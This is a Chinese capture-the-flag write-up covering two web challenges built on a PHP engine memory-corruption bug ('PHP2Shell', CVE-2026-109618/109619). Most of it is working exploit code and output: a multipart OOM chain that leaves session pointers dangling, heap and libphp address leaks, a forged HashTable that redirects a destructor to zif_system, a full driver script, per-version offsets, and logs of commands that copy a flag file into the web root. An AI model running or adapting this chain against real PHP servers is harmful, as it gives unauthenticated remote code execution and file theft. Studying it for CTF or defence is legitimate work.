这个周末事比较多,所以说这个比赛没怎么打,题还是强度比较大的,采用了一定的防AI手段,下面是几道web题的详细题解,如有问题希望各位师傅及时指出

一、LedgerPad — Internal Ticket Drop

附件 AUTHORED-E69EE20C.zip 只有 5 个文件:

文件

内容

app/index.php

<?php echo "OK\n";(真的只有这一行)

config/php.ini

memory_limit=16M、post_max_size=8M、upload_max_filesize=8M、session.save_path=/tmp、session.use_strict_mode=0、session.use_cookies=1、session.upload_progress.enabled=On、session.upload_progress.cleanup=On、display_errors=On、expose_php=0

config/prefork.conf

KeepAlive Off,StartServers/MinSpareServers/MaxSpareServers/MaxRequestWorkers/ServerLimit 全为 1,MaxConnectionsPerChild 0

config/zz-body.conf

LimitRequestBody 8388608

config/zz-w.conf

/w 目录配置(+FollowSymLinks),说明另有 docroot 软链

README 直接点明了方向:

  • 漏洞是 PHP request-lifecycle memory-safety class,即 CVE-2026-109618 / CVE-2026-109619(PHP2Shell);

  • 公开 PoC:https://github.com/alvarodh5/php2shell,支持 8.5.11 / x86_64,但原样打不了这里;

  • 本部署的 body 上限会挡住 PoC 自己的 OOM 策略,“在 8 MiB 请求体内重新构造一条仍能到达脆弱 worker 状态的请求链” 是题目的一部分;

  • 部署信息:docroot /var/www/html(worker 可写)、/x 是 docroot 的短软链、/flag 对 worker 可读。

这不是一道应用漏洞题——页面只有 echo "OK"。入口在 PHP 引擎本身,发生在任何应用代码执行之前。

php_request_startup() 的执行顺序是:

php_request_startup():
    ...
    sapi_activate();          // 这里读并解析 POST body(multipart / rfc1867)
    ...
    php_hash_environment();   // 这里才重置 PG(http_globals)

而 multipart 解析器(rfc1867_post_handler)在解析过程中会分配大量内存;一旦撞上 memory_limit:

  1. zend_mm_safe_error() → zend_bailout() 直接 longjmp 出请求启动流程;

  2. 此时 PG(http_globals)[TRACK_VARS_POST/FILES/...] 里还是上一个请求的 IS_ARRAY zval(它们的内存是上请求的,早已释放)——CVE-2026-109618;

  3. mod_php 无论启动是否成功都会调用 php_request_shutdown(),其第 8 步对 PG(http_globals)[i] 做 zval_ptr_dtor() → 对悬空指针做 double free / UAF;

  4. 同一 bailout 还会留下 worker 级(跨请求)的悬空指针:PS(id)、PS(mod_data)、PS(send_cookie)、错误/回溯指针等——CVE-2026-109619。

所以页面内容无关紧要,一进来就是 pre-auth。

公开链(8.5.11 / x86_64)分三段,全部走 HTTP,不需要 gdb、不需要 /proc:

阶段

机制

得到

stage 1

OOM 打断初始化 → PS(id) 悬空;下一请求用伪造 zend_string 占住该 chunk,Set-Cookie 把 id 当字符串输出

Zend MM chunk base(heap ASLR 绕过)

stage 2

让一个 56 字节 HashTable 覆盖到 PS(id)+0x18,其 pDestructor(zval_ptr_dtor,libphp 内指针)被 Set-Cookie 带出

libphp base(代码 ASLR 绕过)

stage 3

用伪造 HashTable + 伪造 zend_execute_data 回收悬空引用,pDestructor = zif_system,shutdown 时 zend_hash_destroy 调用 system(cmd)

RCE

zif_system、zval_ptr_dtor 的偏移相对 libphp 是固定的(8.5.11:0x5996e0 / 0x7b47a0),与 ASLR 无关。

PoC 的关键参数:

PROFILES = {"8.5.11": dict(s3="nb", htdata=0x7e0d8, huge=24)}
OFFSETS  = {"x86_64": {"8.5.11": (0x5996e0, 0x7b47a0)}}
  • huge=24:OOM 用的“大字段”是 24 MB;

  • htdata=0x7e0d8:相对 Zend MM chunk base 的偏移,stage 3 的伪 HashTable 要放在这里;

  • boundary 用 b"S" * 17。

三次请求的形状(8.5.11):

# rotate:把当前 worker 打崩,让 prefork fork 一个新 child(ASLR 相同)
parts = [1001×{name:"f0000", data:b"V"*3000}]
parts += [PHPSESSID=b"\x00", PHP_SESSION_UPLOAD_PROGRESS=b"pwn",
          file{name:"f", filename:"a.txt", data:b"A"*64},
          big{name:"big", data:b"B"*(24MB)}]
post(); small POST(PHPSESSID=SID, progress)   # 预热新 child
​
# _oom:真正制造悬空状态
parts = [1001×{name:"f0000", data:b"x"}]
parts += [PHPSESSID=b"\x00", PHP_SESSION_UPLOAD_PROGRESS=b"pwn",
          file{...}, big{name:"big", data:b"B"*(24MB)}]
post()
​
# stage1 leak:回收 PS(id)
parts = [PHPSESSID=SID, PHP_SESSION_UPLOAD_PROGRESS=b"pwn"]
for i in range(841): parts.append({name:str(1000+i), data:(b"v%04d"+b"x"*44)[:48]})
forge = b"A"*79; forge[0x10:0x18]=p64(0x1000); forge[0x18]=ord("L")
parts.append({name:"1999", data:forge})
cookie = post(parts)   # 解析 Set-Cookie,就是 0x1000 字节堆泄漏

841 个 48 字节字段是堆排布用的“垫片”,最后一个 79 字节字段负责把伪造 zend_string 头(len=0x1000)落到悬空的 PS(id) 上。

先复刻靶机

用同一镜像和题目配置起本地靶机(完整命令见 §8.4):

docker run -d --name lp-lab --network lpnet \
  -v $PWD/lab/zz-harden.ini:/usr/local/etc/php/conf.d/zz-harden.ini:ro \
  -v $PWD/lab/prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro \
  -v $PWD/lab/zz-body.conf:/etc/apache2/conf-enabled/zz-body.conf:ro \
  -v $PWD/lab/app:/var/www/html \
  -v $PWD/lab/flag:/flag:ro \
  php:8.5.11-apache

容器里确认:

memory_limit => 16M
post_max_size => 8M
upload_max_filesize => 8M
session.upload_progress.enabled => On
LimitRequestBody 8388608

再放一个 /mem.php 打印 memory_get_peak_usage(true),用来量各种 body 形状的真实内存曲线;放一个 /sess.php 调用 session_start() 确认会话模块正常。

OOM 必须落在“大字段体累积”的那次 huge 分配

_oom 的字段顺序不是随便排的:

1001 个小字段 → PHPSESSID → PHP_SESSION_UPLOAD_PROGRESS → file → big

file 字段会触发 rfc1867 的 upload-progress 回调 → 会话在这里初始化(PS(id)、PS(mod_data)、send_cookie=1)。之后 big 字段在解析器里把数据往 smart_str 里累积,增长到大块(>2 MB 走 Zend MM 的 huge 分配)时撞上 16 MB 限制:

Fatal error: Allowed memory size of 16777216 bytes exhausted
(tried to allocate 6296371 bytes)

用 7.9 MB 的 big(body ≈ 7.97 MB,卡在 8 MiB 内)就能得到同样性质的失败:失败点仍然是巨大的、一次性的 mmap 分配,而不是页表里的小分配。

boundary 长度会改变堆布局

我最早手搓 body 时用了 21 字节的 boundary(----ampBND9876543210),stage1 一直 chunk=0。把 boundary 改成公开 PoC 的 b"S" * 17 之后,同样的 24 MB body 立刻泄漏出 4096 字节 cookie。

原因不神秘:multipart 解析器会按 boundary 长度分配/拷贝扫描缓冲,边界字符串本身也进堆,堆排布(尤其是 48/64/80 这些 small bin 的 free-list 顺序)被改变了,841 个垫片的对齐就错位。这种题里“看起来无关的协议细节”往往就是堆布局的旋钮。

rotate() 的真正作用是“打崩 worker + 预热新 child”

公开 PoC 每次尝试前先 rotate():

  1. 发一个 1001×3000 B + 24 MB 的请求,把 worker 打崩(OOM 后的 shutdown double-free 触发 abort/SIGSEGV,prefork 重新 fork);

  2. 再发一个小 POST(PHPSESSID/progress),给新 child 建立“上一个请求的 PG(http_globals)”。

第 2 步是必需的:CVE-2026-109618 的悬空 zval 来自上一个请求;没有它,OOM 时 PG(http_globals) 是空的,后续就不会 double free。

8 MiB 下 24 MB 的 rotate 发不出去,于是用同一套 7.9 MB OOM 链替代:

OOM(7.9 MB)        # 打崩当前 worker(若它崩了,prefork 会 fork 新 child)
小 POST            # 预热新 child 的 http_globals
OOM(7.9 MB)        # 制造悬空状态
leak 请求          # 回收 PS(id)

实测这条序列在 8 MiB 限制下完全等价,stage1 稳定拿到 4096 字节泄漏。

最终利用链

步骤

body 组成

大小

rotate/OOM

1001×{fNNNN: x} + PHPSESSID=\x00 + progress=pwn + file f/a.txt(64B) + big=B*7,900,000

≈ 7.97 MB

预热

PHPSESSID=SID + progress=pwn

192 B

arm OOM

同 rotate/OOM

≈ 7.97 MB

stage1 leak

PHPSESSID=SID + progress + 841×48B + 79B forge

≈ 94 KB

stage2 leak

OOM(fill=39B) 后跟 983 个字段(第 406 个展开成 16 个 aNNNN[j])

≈ 100 KB

stage3 (nb)

rotate + arm pads(107×1B)+ 8×100B + 80×1B + 200×31B live-ref + 167B 伪 HashTable

≈ 100 KB

stage1 的 Set-Cookie 里是 4096 字节的堆内容。PoC 用计数法找 2 MiB 对齐的 chunk 指针簇:

c = Counter()
for i in range(len(raw) - 8):
    v = int.from_bytes(raw[i:i+8], "little")
    if 0x100000000000 <= v < 0x800000000000:
        c[v & ~0x1FFFFF] += 1
chunk = c.most_common(1)[0][0]     # 出现次数 >= 8 才算

stage2 拿 libphp 指针(pDestructor = zval_ptr_dtor):

p = int.from_bytes(raw[8:16], "little")
assert (p & 0xfff) == (0x7b47a0 & 0xfff)
libphp = p - 0x7b47a0

实打靶机得到:

chunk  base = 0x7dfd82000000
libphp base = 0x7dfd83c00000
HT  = chunk  + 0x7e0d8
zif = libphp + 0x5996e0

_fake_ht(htdata) 造一个 167 字节的假 HashTable:

struct.pack_into("<II", ht, 0, 1, 7)             # gc: refcount=1, IS_ARRAY
struct.pack_into("<II", ht, 8, 0x10, 0xFFFFFFF8) # flags, nTableMask
struct.pack_into("<Q", ht, 0x10, htdata + 0x20)  # arData -> execute_data
struct.pack_into("<II", ht, 0x18, 1, 1)          # nNumUsed / nNumOfElements
struct.pack_into("<Q", ht, 0x30, zif_system)     # pDestructor
...
# 0x20 处伪造 zend_execute_data:func/argc/arg1 -> 伪造 zend_string
struct.pack_into("<I", ht, 0x20 + 0x2C, 1)       # ZEND_CALL_NUM_ARGS = 1
struct.pack_into("<Q", ht, 0x20 + 0x50, htdata + 0x80)
struct.pack_into("<I", ht, 0x20 + 0x58, 6)       # IS_STRING
struct.pack_into("<II", ht, 0x80, 1, 0x106)      # zend_string
struct.pack_into("<Q", ht, 0x90, len(cmd))
ht[0x98:0x98+len(cmd)] = cmd

shutdown 时 zend_hash_destroy 拿 pDestructor = zif_system 调用,参数就是我们的命令字符串。

carrier 只有 167 字节,命令写在 0x98 之后,所以最多 14 字节。题面已经给了 /x -> /var/www/html 的软链,于是:

cat</flag>/x/a

正好 14 字节,把 /flag 读进 docroot 的 a 文件;随后 GET /a 回读。

脚本部分

#!/usr/bin/env python3
# 8 MiB-constrained PHP2Shell driver for php:8.5.11-apache
# monkey-patches alvarodh5/php2shell so every request body stays below Apache's
# LimitRequestBody (8388608) while still landing the startup OOM in the exact
# place the public chain needs.
import sys
import time
​
sys.path.insert(0, "/tmp/php2shell-main")
import exploit as X  # noqa: E402
​
BND = b"S" * 17          # 必须和公开 PoC 一致:boundary 长度会改变堆布局
BIG = 7900000            # 8 MiB 体限内的大字段(≈7.53 MiB)
​
​
def mkpart(name, data, filename=None):
    h = b"--" + BND + b"\r\n" + b'Content-Disposition: form-data; name="' + name.encode() + b'"'
    if filename:
        h += b'; filename="' + filename.encode() + b'"\r\nContent-Type: application/octet-stream'
    return h + b"\r\n\r\n" + data + b"\r\n"
​
​
def oom_body(fill=b"x"):
    body = b""
    # 1001 个极小字段:与公开 PoC 相同的堆整形 + 触发 max_input_vars=1000 截断
    for i in range(1001):
        body += mkpart(("f%04d" % i)[:5], fill)
    body += mkpart("PHPSESSID", b"\x00")
    body += mkpart("PHP_SESSION_UPLOAD_PROGRESS", b"pwn")
    body += mkpart("f", b"A" * 64, "a.txt")      # 触发 upload_progress 会话初始化
    body += mkpart("big", b"B" * BIG)            # 在这里 OOM:session 已初始化之后
    body += b"--" + BND + b"--\r\n"
    return body
​
​
def oom(self, fill=b"x"):
    body = oom_body(fill)
    self.t.post(body, BND, read_cap=65536, timeout=max(120.0, self.t.timeout))
    time.sleep(0.25)
​
​
def rotate(self):
    # 8 MiB 版 rotate:先 OOM 打崩当前 worker,再发一个小 POST 预热新 child
    oom(self, b"x")
    parts = [{"name": "PHPSESSID", "data": X.SID},
             {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}]
    self.t.post(X.multipart(parts, b"B" * 10), b"B" * 10, read_cap=65536, timeout=20.0)
    time.sleep(0.3)
​
​
def arm_pads(self):
    # stage3 的 arm:107 个 1 字节字段 + file + 7.9 MB big
    parts = [{"name": "PHPSESSID", "data": b"a" * 100},
             {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"ppp"}]
    for i in range(107):
        parts.append({"name": ("p%06d" % i)[:7], "data": b"V" * 1})
    parts += [self._file(), {"name": "big", "data": b"B" * BIG}]
    self.t.post(X.multipart(parts, BND), BND, timeout=max(120.0, self.t.timeout))
    time.sleep(0.3)
​
​
# ---- 只替换受限的四个方法,泄漏/回收逻辑沿用公开 PoC ----
X.Exploit._oom = oom
X.Exploit.rotate = rotate
X.Exploit._oom_arm_pads = arm_pads
X.Exploit._big = lambda self: {"name": "big", "data": b"B" * BIG}
​
if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8085/index.php"
    t = X.Target(url)
    # 参数:cmd、zif_system 偏移、zval_ptr_dtor 偏移、htdata、huge(仅占位)
    ex = X.Exploit(t, "cat</flag>/x/a", 0x5996e0, 0x7b47a0, 0x7e0d8, 24)
​
    ex.rotate()
    ch = 0
    for i in range(3):
        ch = ex.stage1()
        print("stage1", i, hex(ch) if ch else 0, flush=True)
        if ch:
            break
        ex.rotate()
​
    if ch:
        lib = 0
        for i in range(3):
            lib = ex.stage2()
            print("stage2", i, hex(lib) if lib else 0, flush=True)
            if lib:
                break
            ex.rotate()
​
        if lib:
            HT = ch + 0x7e0d8          # Zend MM chunk base + htdata
            ex.zif = lib + 0x5996e0    # libphp base + zif_system
            for att in range(1, 6):
                ex.stage3_nb(HT)
                time.sleep(0.8)
                print("fired attempt", att, flush=True)

以下函数原样来自 alvarodh5/php2shell 的 Exploit 类,脚本不改它们,只依赖:

def stage1(self):
    # heap leak: forge a zend_string (len 0x1000) over the dangling PS(id)
    self._oom(b"x")
    parts = [{"name": "PHPSESSID", "data": SID},
             {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}]
    for i in range(841):
        parts.append({"name": str(1000 + i),
                      "data": (f"v{i:04d}" + "x" * 44)[:48].encode()})
    forge = bytearray(b"A" * 79)
    struct.pack_into("<Q", forge, 0x10, 0x1000)
    forge[0x18] = ord("L")
    parts.append({"name": "1999", "data": bytes(forge)})
    raw = parse_cookie(self.t.post(multipart(parts, b"B" * 10),
                                   b"B" * 10, read_cap=9 << 20))
    if len(raw) < 1000:
        return 0
    c = Counter()
    for i in range(len(raw) - 8):
        v = int.from_bytes(raw[i:i + 8], "little")
        if 0x100000000000 <= v < 0x800000000000:
            c[v & ~0x1FFFFF] += 1
    base, n = c.most_common(1)[0] if c else (0, 0)
    return base if n >= 8 else 0
​
​
def stage2(self):
    # libphp leak: 56-byte HashTable lands at PS(id)+0x18
    self._oom(b"x" * 39)
    parts = [{"name": "PHPSESSID", "data": SID},
             {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}]
    for i in range(983):
        for j in range(16 if i == 406 else 1):
            parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * 16})
    raw = parse_cookie(self.t.post(multipart(parts, b"B" * 10), b"B" * 10))
    if len(raw) < 16:
        return 0
    p = int.from_bytes(raw[8:16], "little")
    if not (0x100000000000 <= p < 0x800000000000) or (p & 0xfff) != (self.dtor & 0xfff):
        return 0
    return p - self.dtor
​
​
def _fake_ht(self, htdata):
    cmd = self.cmd
    ht = bytearray(167)
    struct.pack_into("<II", ht, 0, 1, 7)                 # gc: refcount=1, IS_ARRAY
    struct.pack_into("<II", ht, 8, 0x10, 0xFFFFFFF8)     # flags, nTableMask
    struct.pack_into("<Q", ht, 0x10, htdata + 0x20)      # arData -> execute_data
    struct.pack_into("<II", ht, 0x18, 1, 1)              # nNumUsed / nNumOfElements
    struct.pack_into("<II", ht, 0x20, 8, 0)
    struct.pack_into("<Q", ht, 0x28, 0)
    struct.pack_into("<Q", ht, 0x30, self.zif)           # pDestructor = zif_system
    E = 0x20
    struct.pack_into("<Q", ht, E + 0x10, self.zif)
    struct.pack_into("<I", ht, E + 0x2C, 1)              # ZEND_CALL_NUM_ARGS = 1
    struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80)  # arg1 -> fake zend_string
    struct.pack_into("<I", ht, E + 0x58, 6)              # IS_STRING
    struct.pack_into("<II", ht, 0x80, 1, 0x106)
    struct.pack_into("<Q", ht, 0x90, len(cmd))
    ht[0x98:0x98 + len(cmd)] = cmd
    ht[0x98 + len(cmd)] = 0
    return bytes(ht)
​
​
def _live_ref(self, htdata):
    v = bytearray(b"R" * 31)
    struct.pack_into("<Q", v, 0, (10 << 32) | 1)
    struct.pack_into("<Q", v, 8, htdata)
    struct.pack_into("<I", v, 0x10, 0x307)
    struct.pack_into("<I", v, 0x14, 0)
    return bytes(v)
​
​
def stage3_nb(self, htdata):
    self.rotate()             # 已被替换:OOM + 小 POST
    self._oom_arm_pads()      # 已被替换:107 字段 + file + 7.9 MB big
    ht = self._fake_ht(htdata)
    live = self._live_ref(htdata)
    parts = [{"name": "PHPSESSID", "data": b"a" * 100},
             {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}]
    for i in range(8):
        parts.append({"name": "m%04d" % i, "data": b"M" * 100})
    for i in range(80):
        parts.append({"name": (f"F{i:030d}")[:31], "data": b"z"})
    for i in range(200):
        parts.append({"name": "r%04d" % i, "data": live})
    parts.append({"name": (f"a{0:030d}")[:31], "data": ht})
    self.t.post(multipart(parts, b"B" * 10), b"B" * 10, read_cap=65536, timeout=30.0)

本地靶机(复刻部署)

mkdir -p lab/app
cp app/index.php lab/app/index.php
cp config/php.ini lab/zz-harden.ini
cp config/prefork.conf lab/prefork.conf
cp config/zz-body.conf lab/zz-body.conf
echo -n 'flag{LOCAL_LAB_TEST_9f3a}' > lab/flag

docker network create lpnet 2>/dev/null || true
docker run -d --name lp-lab --network lpnet \
  -v "$PWD/lab/zz-harden.ini:/usr/local/etc/php/conf.d/zz-harden.ini:ro" \
  -v "$PWD/lab/prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro" \
  -v "$PWD/lab/zz-body.conf:/etc/apache2/conf-enabled/zz-body.conf:ro" \
  -v "$PWD/lab/app:/var/www/html" \
  -v "$PWD/lab/flag:/flag:ro" \
  php:8.5.11-apache

# stage3 的 proof 需要 /x -> docroot(线上题面已给,本地要自己补)
docker exec lp-lab ln -sfn /var/www/html /x

自检:

docker exec lp-lab php -i | grep -E 'memory_limit|post_max_size|upload_max_filesize'
docker exec lp-lab grep -r LimitRequestBody /etc/apache2/
curl -s http://127.0.0.1:8085/index.php    # 若映射了端口

辅助页面(可选,用于量内存/验证 session)

<?php // /var/www/html/mem.php
echo "peak=" . memory_get_peak_usage(true) . " usage=" . memory_get_usage(true)
   . " post=" . count($_POST) . " files=" . count($_FILES) . "\n";
<?php // /var/www/html/sess.php
session_start();
echo "sid=", session_id(), "\nstatus=", session_status(), "\n";

运行与回读

# 本地
python3 pwn.py http://127.0.0.1:8085/index.php
docker exec lp-lab cat /var/www/html/a      # 期望 flag{LOCAL_LAB_TEST_9f3a}
​
# 线上
python3 pwn.py http://172.16.31.2/index.php
curl -s http://172.16.31.2/a                # 期望 FLAG{...}

实际输出:

stage1 0 0x7dfd82000000
stage2 0 0x7dfd83c00000
fired attempt 1..5
GET /a HTTP/1.0
Host: 172.16.31.2
HTTP/1.1 200 OK
Last-Modified: Sun, 22 Nov 2026 07:46:53 GMT
Content-Length: 38
​
FLAG{3f9d5d56f1a166bb5213e369fd82eab8}

二、ExtStore 渲染管线 — 让请求管线替你执行

题目只给了一个"主题商店运维控制台":index.php / console.php 全部逻辑就是 echo count($_FILES),没有任何文件读写、没有 include、没有反序列化、没有命令执行;healthz.php / t.php 只有 echo 'ok'。控制台本身确实"什么也不做"。

但题目附带的 docker-compose.yml / php.ini / prefork.conf 把攻击面交代得非常清楚——这些配置与公开研究项目 php2shell 的实验环境 lab.ini 逐字节一致:

配置

值

在利用里的作用

memory_limit

16M

24MB 的表单字段在 multipart 解析阶段触发 OOM

session.upload_progress.enabled

On

漏洞本体:RFC1867 上传进度机制

session.use_strict_mode / use_cookies

0 / 1

接受攻击者 SID,并让 Set-Cookie 成为泄漏通道

display_errors

On

泄漏走 PHP 启动错误路径

prefork MaxRequestWorkers

1

所有请求落在同一进程地址空间,ASLR 基址稳定

Alias /t/ /tmp/

Require all granted

题目送的 HTTP 回显通道(读 /tmp 里的结果)

因此漏洞不在业务代码里,而在 PHP 的 multipart / session 请求管线本身:任何一次 multipart/form-data POST 都会走到 RFC1867 处理器,配合低 memory_limit 就能把 PHP 内部的 session 指针打成悬垂引用,再用攻击者可控的表单字段回收这块内存,最终把析构回调改成 zif_system 执行命令。

题目里 /f 是挂载进来的运维凭据目录(实际文件 /f/f),worker 身份是 www-data。拿到 RCE 后直接 cp /f/f /tmp/a,再从 /t/a 读回即可。

源码与配置审计

附件结构(services/target/ 即容器内 /var/www/html 与 Apache 配置):

docker-compose.yml
services/target/
├── alias.conf          # Alias /t/ /tmp/
├── php.ini
├── prefork.conf
└── app/
    ├── index.php       # 与 console.php 完全相同
    ├── console.php
    ├── healthz.php     # <?php echo 'ok';
    ├── t.php           # <?php echo 'ok';
    └── assets/console.js

业务代码(两个文件内容一致):

<?php
$stage = $_GET['stage'] ?? 'home';
if ($stage === 'home') { /* 输出首页 */ exit; }
if ($stage === 'upload') { echo "queued ".count($_FILES)." file(s)"; exit; }
http_response_code(404);
echo "unknown stage";

结论:没有 include、没有 file_get_contents、没有 session_start()、没有 eval/system。常规 Web 漏洞(LFI、反序列化、命令注入、SSRF、SQLi…)全部不成立——出题人把"控制台什么也不做"写进了注释,这是刻意的提示:要打的是 PHP 接收请求的过程。

关键配置:

; php.ini
display_errors=On
display_startup_errors=On
error_reporting=E_ALL
memory_limit=16M
post_max_size=32M
upload_max_filesize=32M
session.save_path=/tmp
session.use_strict_mode=0
session.use_cookies=1
session.upload_progress.enabled=On
session.upload_progress.cleanup=On
expose_php=0
# prefork.conf
KeepAlive Off
StartServers 1
MinSpareServers 1
MaxSpareServers 1
MaxRequestWorkers 1
ServerLimit 1
MaxConnectionsPerChild 0
# alias.conf —— 把容器 /tmp 暴露成 HTTP
Alias /t/ /tmp/
<Directory /tmp>
  Require all granted
  Options -Indexes
</Directory>

这份 php.ini 与 php2shell 项目的 lab/lab.ini 12 行完全一致(连顺序都一样),prefork.conf 也一致。也就是说,出题人直接把公开漏洞研究的实验环境搬了过来,/t/ 别名则是额外的"回显通道"——因为真实比赛里我们拿不到容器 shell,只能靠 HTTP 把命令输出读回来。

2.1 为什么这些配置是"利用前置条件"

  • session.upload_progress.enabled=On:PHP 为了给上传进度计数,会在 multipart 解析期间隐式启动 session,并把进度信息写进 $_SESSION——不需要业务代码调用 session_start()。这是整条链的入口。

  • memory_limit=16M 小于攻击字段:24MB 字段解析时 OOM,而 OOM 发生在脚本 RINIT 之前,HTTP 请求的 session 指针(PS(id))来不及清理,变成悬垂指针。

  • display_errors=On:后续请求里那个悬垂指针被复用/伪造后,PHP 在"Request Startup"阶段报错时会把 Set-Cookie 一起发出去,而 Set-Cookie 的值正是被伪造的 zend_string 指向的内存——带外泄漏。

  • 单 worker:泄漏和回收必须落在同一个进程地址空间。prefork 单 worker 下,崩溃后父进程 fork 出的新 worker 与旧 worker 的 ASLR 基址相同(rotate() 就是靠这个"换 worker 不换地址")。

  • session.use_strict_mode=0 / use_cookies=1:允许攻击者指定 SID,并保证 Set-Cookie 被发出(泄漏载体)。

漏洞原理

三个阶段的本质是:把一个 PHP 全局 session 指针打悬垂 → 用它泄漏堆地址 → 再用它泄漏 libphp 代码地址 → 最后把它改造成一次 zif_system 调用。

Stage 1:堆地址泄漏(Zend MM chunk base)

  1. 发一个带 1001 个小字段 + 24MB 大字段的 multipart POST。PHP 在解析大字段时 memory_limit OOM,此时 PS(id)(当前 session id 的 zend_string *)已经指向一块被释放/未初始化的内存,但全局指针没被清空。

  2. 紧接着的下一个请求里,攻击者用大量可控表单字段精确回收这块内存。其中一个字段(PoC 里是 name="1999")被构造成伪造的 zend_string:把偏移 0x10 处的长度字段写成 0x1000。

  3. PHP 在请求启动阶段发现 session 出错,走错误路径发送 Set-Cookie: PHPSESSID=<PS(id) 的内容>。由于长度被伪造成 4KB,Cookie 值里就带出了 4KB 堆内存;而且 use_strict_mode=0 下 PHP 直接把这段字节当 SID 回显。

  4. 在泄漏出的 9MB 数据里做统计:找 0x100000000000 ~ 0x800000000000 范围内、按 2MB 对齐后出现次数最多的 8 字节值,即为 Zend MM chunk base。

[+] chunk base (Zend MM) = 0x7c2839600000

Stage 2:代码地址泄漏(libphp base)

  1. 再来一次 OOM,但这次填充长度不同(b"x"*39),让悬垂的 PS(id) 落在可控位置。

  2. 构造 983 个数组风格字段 a0000…a0982,其中第 406 个键展开 16 个下标(a0406[0] … a0406[15]),使一个 56 字节的 HashTable 正好覆盖到 PS(id)+0x18。

  3. 该 HashTable 的 pDestructor 字段是 libphp 里的 zval_ptr_dtor 函数指针;PHP 释放它时,Set-Cookie 就把这个指针吐了出来。

  4. 校验低 12 位与已知偏移 zval_ptr_dtor & 0xfff 一致后,libphp_base = leaked - 0x7b47a0。

[+] libphp base          = 0x7c2836000000

zif_system 与 zval_ptr_dtor 相对 libphp.so 的偏移是固定的(ASLR 无关):

PHP 版本

zif_system

zval_ptr_dtor

chunk 内 htdata

8.5.11 (x86_64)

0x5996e0

0x7b47a0

0x7e0d8

8.4.26 (x86_64)

0x465370

0x65eb60

0x690d8

于是:

pDestructor = chunk_base + 0x7e0d8 + 0x5996e0 = 0x7c28365996e0

Stage 3:回收悬垂的 PS(http_session_vars),伪造 zif_system 调用

  1. 先把 PS(http_session_vars) 打成悬垂(_arm_pads:107 个 1 字节字段 + 大字段 OOM)。

  2. 用 200 个 31 字节的"活引用"字段(live_ref)铺满堆,把悬垂指针指向攻击者控制的数据。

  3. 最后一个字段是一条 167 字节的假 HashTable,它与 execute_data 在内存上重叠,布局如下:

偏移

大小

内容

说明

0x00

4

1

gc.refcount

0x04

4

7

gc.type = IS_ARRAY

0x08

4

0x10

HashTable.flags

0x0C

4

0xFFFFFFF8

nTableMask

0x10

8

htdata+0x20

arData → 指向执行帧

0x18

4 / 4

1 / 1

nNumUsed / nNumOfElements

0x30

8

zif_system

pDestructor = 目标函数(同时是 execute_data.func)

0x4C

4

1

ZEND_CALL_NUM_ARGS

0x70

8

htdata+0x80

第一个参数 zval 的值 → 命令字符串

0x78

4

6

参数类型 IS_STRING

0x80

8

1, 0x106

伪造 zend_string 头

0x90

8

len(cmd)

字符串长度

0x98

≤14

cmd\0

命令本体

  1. PHP 在请求结束时析构这个"数组",pDestructor(zval) 被调用——第一个参数就是我们伪造的字符串 cmd,等于执行 system(cmd),权限是 www-data。

第一次:验证 RCE

命令 id>/tmp/a(9 字节):

[*] cmd='id>/tmp/a' len=9 profile=8.5.11 zif=0x5996e0 dtor=0x7b47a0
[*] rotate 20.7s
[*] stage1 try1: chunk=0x7c2839600000 (8.2s)
[*] rotate 9.4s
[*] stage2 try1: libphp=0x7c2836000000 (7.3s)
[+] HT=0x7c283967e0d8 ZIF=0x7c28365996e0
[*] stage3 attempt 1 fired (12.4s) resp_len=0
[*] /t/a status=200 len=54
uid=33(www-data) gid=33(www-data) groups=33(www-data)

resp_len=0 是正常的:成功触发后 worker 在请求收尾阶段被破坏,连接直接断,命令输出不会回到 HTTP 响应里——这也是题目给 /t/ 别名的原因。

看 /f 结构

命令 ls /f>/tmp/a(12 字节):

[*] /t/a status=200 len=2
f

即 /f/f 是凭据文件。

取 Flag

命令 cp /f/f /tmp/a(14 字节,正好顶满):

[*] cmd='cp /f/f /tmp/a' len=14 profile=8.5.11 zif=0x5996e0 dtor=0x7b47a0
[*] rotate 8.7s
[*] stage1 try1: chunk=0x7c2839600000 (7.8s)
[*] rotate 6.4s
[*] stage2 try1: libphp=0x7c2836000000 (8.9s)
[+] HT=0x7c283967e0d8 ZIF=0x7c28365996e0
[*] stage3 attempt 1 fired (17.3s) resp_len=0
[*] /t/a status=200 len=38
FLAG{327130fe240340d84d8c1bd9804d354e}

独立复核(不经过 exp,直接 HTTP GET):

$ python -c "import requests;r=requests.get('http://172.16.106.2/t/a');print(r.status_code,repr(r.content))"
200 b'FLAG{327130fe240340d84d8c1bd9804d354e}'

exp

单文件、无第三方依赖(除标准库)、可离线运行。默认按 php:8.5.11-apache x86_64 的偏移打;--read 会在利用后自动从 /t/ 读回结果。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
ExtStore 题目 exp —— PHP 8.5.11 session.upload_progress 内存破坏链
(CVE-2026-109618 OOM 悬垂 PS(id) + CVE-2026-109619 全局状态过期)
​
适用环境(与题目 docker-compose / php.ini 一致):
  Apache prefork 单 worker + mod_php + display_errors=On
  session.upload_progress.enabled=On, memory_limit=16M
  Alias /t/ /tmp/   (题目额外送的 HTTP 回显通道, 非漏洞本体)
​
用法:
  python3 exp.py -u http://172.16.106.2/index.php -c 'id>/tmp/b' --read /t/b
  python3 exp.py -u http://172.16.106.2/index.php -c 'cp /f/f /tmp/a' --read /t/a
​
说明: 命令被 167 字节 carrier 限制在 14 字节以内, 所以先把结果落到 /tmp,
      再通过 /t/ 别名读回。每次运行会重启 worker, 属正常现象。
"""
import argparse
import re
import socket
import struct
import sys
import threading
import time
import urllib.parse
import urllib.request
from collections import Counter
​
# ----------------------------------------------------------------- 目标画像
# x86_64 官方 php:8.5.11-apache 的 libphp.so 相对偏移(ASLR 无关)
PROFILES = {
    "8.5.11": dict(zif=0x5996E0, dtor=0x7B47A0, htdata=0x7E0D8, huge=24),
    "8.4.26": dict(zif=0x465370, dtor=0x65EB60, htdata=0x690D8, huge=12),
}
